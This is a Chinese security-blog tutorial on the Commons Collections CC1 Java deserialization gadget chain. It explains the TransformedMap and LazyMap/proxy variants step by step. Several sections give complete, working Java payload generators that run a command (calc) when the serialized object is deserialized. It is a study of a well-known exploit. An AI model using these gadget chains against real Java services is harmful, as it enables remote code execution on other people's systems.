cc链之cc1分析

admin 2024年3月26日23:13:23评论5 views字数 17471阅读58分14秒阅读模式

cc链之cc1分析

 免责声明
请您仔细阅读以下声明:
您在AtomsTeam查看信息以及使用AtomsTeam服务,表明您对以下内容的接受:
AtomsTeam提供程序(方法)可能带有攻击性,仅供安全研究与实验性教学之用。
用户将其信息做其他用途,由用户承担全部法律及连带责任,AtomsTeam不承担任何法律及连带责任。
与此同时,希望你能遵守如下的规范,因为这能帮助你走的更远:
1.不在没有直接或间接授权的情况下,对公网的任何设施进行安全检测。
2.在测试的过程中,不做任何可能导致业务遇到干扰的动作。
3.任何的测试中,不查看与下载任何敏感的数据。
4.发现漏洞后,第一时间通过企业SRC进行报告。
5.不在目标站点使用后门类工具,如需必要的测试,请获取目标网站官方授权,测试可通过替代的方案(如webshell替换为phpinfo页面等)。

参考如下:

https://wx.zsxq.com/dweb2/index/group/2212251881 p牛的java漫谈

https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.1007.top_right_bar_window_history.content.click&vd_source=931231460f45d9664ec2a02f0adccb49 白日梦组长的分析

贴出demo

package ysoserial;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
  public static void main(String[] args) throws Exception {
      Transformer[] transformers = new Transformer[]{
          new ConstantTransformer(Runtime.getRuntime()),
          new InvokerTransformer("exec", new Class[]{String.class},
              new Object[]
                  {"calc"}),
      };
      Transformer transformerChain = new
          ChainedTransformer(transformers);
      Map innerMap = new HashMap();
      Map outerMap = TransformedMap.decorate(innerMap, null,
          transformerChain);
      outerMap.put("test", "xxxx");
  }
}

介绍重要的地方:

1.ConstantTransformer

cc链之cc1分析

这个类的作用:

构造方法的话就是给他一个对象把这个对象赋值到iConstant

还有个方法就是transform方法,这个方法就是传入任意对象都返回iConstant 这里的transform就是回调方法

2.InvokerTransformer

cc链之cc1分析

这个就是传入3个值,第一个是方法名,第二个就是参数的类型,第三个就是执行的参数

cc链之cc1分析

这里看他的回调函数transform方法,就是任意代码执行,传入一个类获取类的原型类,然后传入方法名和参数类型,最后通过invoke将iArgs传入到获取的方法中执行

这里还可以写一个小demo来演示这个的用法

public class execDemo {
  public static void main(String[] args) {
      Runtime r = Runtime.getRuntime();
      InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
      invokerTransformer.transform(r);
  }

}

这边的意思就是通过构造函数先给invokerTransformer设置要获取调用的方法是exec要传入的参数是calc然后通过transform传入类

然后就通过反射执行了calc

3.ChainedTransformer

cc链之cc1分析

这边的构造函数是将获取到的数组存到iTransformers中

然后这边的transform比较关键,因为这里是链式调用,将前一个的结果当成下一个的输入

比如你给iTransformers传入a和b

然后调用transform(c)的话就是 b.transform(a.transform(c))这样的 就是先执行a.transform(c)结果给object 然后再执行b.transform(object)

4.TransformedMap.decorate

cc链之cc1分析

这个TransformedMap.decorate其实就是给TransformedMap赋值的 传入三个参数一个map两个Transformer

开始分析了:

      Transformer[] transformers = new Transformer[]{
          new ConstantTransformer(Runtime.getRuntime()),
          new InvokerTransformer("exec", new Class[]{String.class},
              new Object[]
                  {"calc"}),
      };
      Transformer transformerChain = new
          ChainedTransformer(transformers);

这里是干啥呢,就是给ChainedTransformer数组传入两东西 然后等着被调用

先看看如果调用了会是啥结果

ChainedTransformer.transformer是链式调用嘛

所以如果调用了transformer(a)的话他会先ConstantTransformer(Runtime.getRuntime()).transformer 这里前边提了他会获取构造函数的输入Runtime.getRuntime()这里就直接获取了Runtime对象存入object

然后调用到第二个new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}).Transformer(object) 那这就直接执行Runtime的exec方法参数是calc了就直接弹计算器了

现在看如何调用ChainedTransformer.transformer

cc链之cc1分析

查看调用的时候可以看到这边有

cc链之cc1分析

但是不是public不能直接获取,这边可以这样看valueTransformer如果是ChainedTransformer然后随便给这个transformValue传一个东西不就秒了吗

看看valueTransformer怎么来的

可以看到是从

cc链之cc1分析

不是public 看看这个TransformedMap咋来的

cc链之cc1分析

这个前边提到过就不赘述了所以

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
  transformerChain);

直接给他valueTransformer赋值为transformerChain 然后如果走到了transformerValue的话就直接调用transformerChain.transformer了

现在看看transformerValue怎么调用的

然后发现在put时调用了

cc链之cc1分析

如果put("a","b")的话就会走到transformValue("b") 就会走到 valueTransformer.transform(object)也就是

ChainedTransformer.transformer("b")然后就进入了他的回调方法开始链式调用

第一步就是ConstantTransformer(Runtime.getRuntime()).transformer("b")然后获取runtime对象然后

InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}).transformer(runtime)他就弹计算器了

这只是一个很简单的demo算是完成了反序列化的一半过程

其实就是ConstantTransformer和InvokerTransformer传入ChainedTransformer中被执行ChainedTransformer.transformer时将ConstantTransformer的结果runtime对象传入InvokerTransformer中执行,通过反射获取exec函数然后达到任意命令执行

现在完成下一步

反序列化肯定是readobject作为入口类

所以思路就是从readObject里走到TransformedMap中某个调用了valueTransformer.transform(value)就行

这里发现checkSetValue

cc链之cc1分析

在org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry中的

setValue中调用了checkSetValue

cc链之cc1分析

并且发现TransformedMap的父类就是AbstractInputCheckedMapDecorator

TransformedMap的构造方法会把valueTransformer给到父类就是parent具体可以自己跟

cc链之cc1分析

然后setValue就是遍历多个键值对时的方法 一个Entry就是一个键值对

所以如果这是后对TransformedMap.decorate(map, null, transformerChain)进行setValue就是对

TransformedMap进行checkSetValue

就是对

transformerChain进行transform

这里有点迷糊我展开讲一下

ChainedTransformer transformerChain = new ChainedTransformer(transformers)这里就是对那个恶意的类进行递归调用嘛

但是是得transformerChain.transform才能触发

恰好TransformedMap.checkSetValue中的valueTransformer.transform(value)

这个valueTransformer恰好在

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);

里被定义 然后checkSetValue又在

static class MapEntry extends AbstractMapEntryDecorator {

*/** The parent map */* private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}

public Object setValue(Object value) {value = parent.checkSetValue(value);return entry.setValue(value);}}

里被调用 这里就圆回去了

所以

      HashMap <Object,Object> map = new HashMap<Object,Object>();

      map.put("value","b");
      Map <Object,Object> map1 = TransformedMap.decorate(map, null, transformerChain);
      for (Map.Entry entry:map1.entrySet()) {
          entry.setValue(r);
      }

就会这样走了:

把恶意的类搞成数组装进TransformedMap.decorate

然后对数组进行遍历操作的时候因为上一步会把value也给org.apache.commons.collections.map.AbstractInputCheckedMapDecorator的parent

所以在遍历数组时就会调用 setvalue就是 parent.checkSetValue(runtime对象)

就是transformerChain.checkSetValue(runtime对象)

就是transformerChain.transform(runtime对象) 这不就弹了吗

但是这样不算反序列化漏洞的因为

AbstractMapEntryDecorator.MapEntry.setValue没有在readObject里

所以这个时候就要找在readObject的setValue

恰巧

sun.reflect.annotation.AnnotationInvocationHandler#readObject中就有setValue

cc链之cc1分析

如果这个memberValue可控并且走到这的话

那么readObject后就会走到transformerChain.transform

所以屡一下 当对AnnotationInvocationHandler对象反序列化的时候会走到Entry遍历 然后 满足条件就会走到setValue如果memberValue是TransformedMap.decorate的话就会走到AbstractMapEntryDecorator.MapEntry.setValue里就会走到TransformedMap的checkSetValue方法

就会走到valueTransformer.transform(value) 就能成

恰巧了他的构造方法就可以设置memberValue

所以现在先创建一个AnnotationInvocationHandler对象

但是这个类不是public但是可以通过反射来创建对象

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

cc链之cc1分析

这边要两种一个是Class,还有一个是Map

那就给他定义参数类型 Constructor annotconstructor = c.getDeclaredConstructor(Class.class, Map.class);

然后权限给他搞成都能访问

annotconstructor.setAccessible(true);

然后实例化

Object o = annotconstructor.newInstance(Bound.class, map1);

但是这边有个问题是runtime是无法进行序列化的但是Runtime.class可以

那么我就这个样子

      Transformer[] transformers = new Transformer[]{
          new ConstantTransformer(Runtime.class),
          new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
          new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
          new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
      };

触发transformerChain.transfor(任意)的时候会把任意传到

new ConstantTransformer(Runtime.class).transfor(任意) 会获取一个Runtime.class

然后传到

new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}) 通过Runtime.class.getMethod方法获取getRuntime方法

然后

new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null})

通过这个Method对象的invoke执行getRuntime获取一个Runtime对象

然后

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

通过Runtime反射获取他的exec方法执行calc

这样就ok了

然后只要调用了transformerChain.transfor(任意)的时候就能弹计算器,至于为啥要把new ConstantTransformer(Runtime.class)也写进去就在后边看了

然后写个序列化和反序列化的方法 去序列化和反序列化

  public static void ser(Object object) throws IOException {
      ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("1.bin"));
      oss.writeObject(object);
  }

  public static void unser(String filename) throws IOException, ClassNotFoundException {
      ObjectInputStream in = new ObjectInputStream(new FileInputStream(filename));
      Object obj = in.readObject();
  }

public class execDemo {
  public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {

      Transformer[] transformers = new Transformer[]{
          new ConstantTransformer(Runtime.class),
          new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
          new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
          new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
      };

      ChainedTransformer transformerChain = new ChainedTransformer(transformers);

      HashMap <Object,Object> map = new HashMap<Object,Object>();

      map.put("value","b");
      Map <Object,Object> map1 = TransformedMap.decorate(map, null, transformerChain);

      Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

      Constructor annotconstructor = c.getDeclaredConstructor(Class.class, Map.class);
      annotconstructor.setAccessible(true);
      Object o = annotconstructor.newInstance(Bound.class, map1);

      ser(o);
      unser("1.bin");
  }

}

cc链之cc1分析

发现可以走到遍历数组这里,但是进不去setValue应为meberType为null

现在就看看memberType是怎么获取的

他是获取了memberTypes中的name的值

那这个name怎么来的 是memberValue里获取的

那memberTypes怎么来的呢

cc链之cc1分析

可以看到这边就是实例化时传入的Bound.class就是那个注解

所以这下就好理解为啥进不去了

memberTypes是注解

memberValue是传入的数组map1里边的数组是map就是"value","b"

所以

String name = memberValue.getKey(); 获取了value

Class<?> memberType = memberTypes.get(name)

就是获取Bound里的成员变量 至于为啥可以去跟

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

Bound.class中没有成员变量

cc链之cc1分析

那就找个有的

看了一圈看到个这个

cc链之cc1分析

成员变量就是value

所以只需要memberTypes.get("value")就ok这个name等于value的话

memberValue.getKey的结果就得是map.put("value","b")的key是value那就没毛病了老铁 这里刚好

成功的走到了setValue

cc链之cc1分析

这时候就要想了为啥我要把new ConstantTransformer(Runtime.class)写到数组第一行

setValue的内容不可控

cc链之cc1分析

cc链之cc1分析

你发现他下一步走到了这里这里value依旧不可控

但是你下一步会走到

TransformedMap.transform

然后走到ChainedTransformer.transform

cc链之cc1分析

这边记得 是输出作为下一个的输入

然后你再看看

new ConstantTransformer(Runtime.class) 这个

是不是不管new ConstantTransformer(Runtime.class).transform(xxx)的内容xxx为任何东西都返回的是Runtime.class 所以可不可控无所谓啊 他只要能返回Runtime.class就好

所以

new ConstantTransformer(Runtime.class).transform(

new AnnotationTypeMismatchExceptionProxy(
  value.getClass() + "[" + value + "]").setMember(
      annotationType.members().get(name))

)

他是不是也是返回了Runtime.class 这不就欧克了吗 这不就出来了吗

反序列化说真的 学起来还是蛮费劲的 但是你理解cc1就理解了整个cc链

所以那个注解是啥都行不一定非要Target只要是有成员就行

下来贴完整的链:

public class execDemo {
  public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
      Transformer[] transformers = new Transformer[]{
          new ConstantTransformer(Runtime.class),
          new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
          new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
          new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
      };

      ChainedTransformer transformerChain = new ChainedTransformer(transformers);

      HashMap <Object,Object> map = new HashMap<Object,Object>();

      map.put("value","b");
      Map <Object,Object> map1 = TransformedMap.decorate(map, null, transformerChain);

      Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

      Constructor annotconstructor = c.getDeclaredConstructor(Class.class, Map.class);
      annotconstructor.setAccessible(true);
      Object o = annotconstructor.newInstance(Retention.class, map1);
      ser(o);
      unser("1.bin");
  }

  public static void ser(Object object) throws IOException {
      ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("1.bin"));
      oss.writeObject(object);
  }

  public static void unser(String filename) throws IOException, ClassNotFoundException {
      ObjectInputStream in = new ObjectInputStream(new FileInputStream(filename));
      Object obj = in.readObject();
  }

}

这个其实是国内版本并不是国外版本

现在请看国外版本

Transformer[] transformers = new Transformer[]{
          new ConstantTransformer(Runtime.class),
          new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
          new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
          new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
      };

      ChainedTransformer transformerChain = new ChainedTransformer(transformers);

最关键的部分其实国内外都一样的,就是这里

然后触发transformerChain.transformer就ok

cc链之cc1分析

查找用法发现有两个第二个TransformedMap就是国内的那一条链,上边那一条LazyMap就是国外那一条

进去看看

cc链之cc1分析

解释一下map.containsKey(key) == false 就是查找指定键 如果map里没有这个键的话就会进入到

Object value = factory.transform(key);

所以get()里不给他传map里有的key就ok

现在有一个地方要注意,就是factory要可控

发现在他的构造函数中其实是可控的

cc链之cc1分析

然后再看看这个不是public的类是如何被调用的

他是被

cc链之cc1分析

这个静态方法所调用的

继续写payload

      Transformer[] transformers = new Transformer[]{
          new ConstantTransformer(Runtime.class),
          new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
          new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
          new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
      };

      ChainedTransformer transformerChain = new ChainedTransformer(transformers);
      Map map = new HashMap();
      map.put("a","b");
      Map lazymap = LazyMap.decorate(map,transformerChain);
      lazymap.get(null);

这样就能弹计算器了,因为get的是null而这个lazymap不存在null这个键就直接弹 不理解的话调试一下就ok 这里先不赘述了

现在要这样,要去找哪里调用了get方法最好是在readObject里边于是就找到了

sun.reflect.annotation.AnnotationInvocationHandler#invoke这里

cc链之cc1分析

这个方法中调用了get方法 好直接往下写

  public static void main(String[] args) throws Throwable {
      Transformer[] transformers = new Transformer[]{
          new ConstantTransformer(Runtime.class),
          new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
          new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
          new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
      };

      ChainedTransformer transformerChain = new ChainedTransformer(transformers);
      Map map = new HashMap();
      map.put("a","b");
      Map lazymap = LazyMap.decorate(map,transformerChain);
      Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor annotconstructor = c.getDeclaredConstructor(Class.class, Map.class);
      annotconstructor.setAccessible(true);
      InvocationHandler invocationHandler = (InvocationHandler) annotconstructor.newInstance(Target.class, lazymap);
      invocationHandler.invoke(null,Runtime.class.getMethod("getRuntime"),null);

直接调用invoke方法 然后传一个方法名不是equals也不是toString也不是hashCode也不是annotationType的方法中不需要参数的方法就ok

但是invoke不在readObject里这就很难受那就接着找,但是但是但是这个时候要发现一个东西

cc链之cc1分析

这不就是妥妥动态代理的写法吗,我只要把他的实例给代理然后随便调用一个方法就会走到invoke

ok说干就干

      Transformer[] transformers = new Transformer[]{
          new ConstantTransformer(Runtime.class),
          new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
          new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
          new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
      };

      ChainedTransformer transformerChain = new ChainedTransformer(transformers);
      Map map = new HashMap();
      map.put("a","b");
      Map lazymap = LazyMap.decorate(map,transformerChain);
      Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor annotconstructor = c.getDeclaredConstructor(Class.class, Map.class);
      annotconstructor.setAccessible(true);
      InvocationHandler invocationHandler = (InvocationHandler) annotconstructor.newInstance(Target.class, lazymap);
      Map proxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
      proxy.entrySet();

我要给lazymap代理他是Map所以都给的Map.class 然后

直接调用proxy.entrySet方法因为他会被AnnotationInvocationHandler的invoke处理而entrySet这个方法满足了到

memberValues.get(member)的条件memberValues就是lazymap就是lazymap.get所以就弹计算器了

然后突然就被他们那些大牛子找到了在AnnotationInvocationHandler的readObject方法中调用了entrySet方法

cc链之cc1分析

但是这个proxy没办法序列化然后用的

因为他是LazyMap.entrySet而不是proxy的entrySet 因为我要调用proxy里的方法才会走到invoke

cc链之cc1分析

这时候可以想起来AnnotationInvocationHandler的构造方法那我把proxy给AnnotationInvocationHandler的memberValues就好

然后反序列化的时候就会触发proxy.entrySet 就会走到invoke 然后memberValues就是proxy中的memberValues就是lazymap

然后就直接lazymap.get了

完整的payload

public class execDemo {
  public static void main(String[] args) throws Throwable {
      Transformer[] transformers = new Transformer[]{
          new ConstantTransformer(Runtime.class),
          new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
          new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
          new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
      };

      ChainedTransformer transformerChain = new ChainedTransformer(transformers);
      Map map = new HashMap();
      map.put("a","b");
      Map lazymap = LazyMap.decorate(map,transformerChain);
      Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor annotconstructor = c.getDeclaredConstructor(Class.class, Map.class);
      annotconstructor.setAccessible(true);
      InvocationHandler invocationHandler = (InvocationHandler) annotconstructor.newInstance(Target.class, lazymap);
      Map proxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
      Object payload = annotconstructor.newInstance(Target.class,proxy);
      ser(payload);
      unser("1.bin");

  }

  public static void ser(Object object) throws IOException {
      ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("1.bin"));
      oss.writeObject(object);
  }

  public static void unser(String filename) throws IOException, ClassNotFoundException {
      ObjectInputStream in = new ObjectInputStream(new FileInputStream(filename));
      Object obj = in.readObject();
  }

}

疑问:触发命令执行的是否为entrySet

交流群:添加好友回复进群

cc链之cc1分析

原文始发于微信公众号(AtomsTeam):cc链之cc1分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月26日23:13:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   cc链之cc1分析http://cn-sec.com/archives/2604495.html

发表评论

匿名网友 填写信息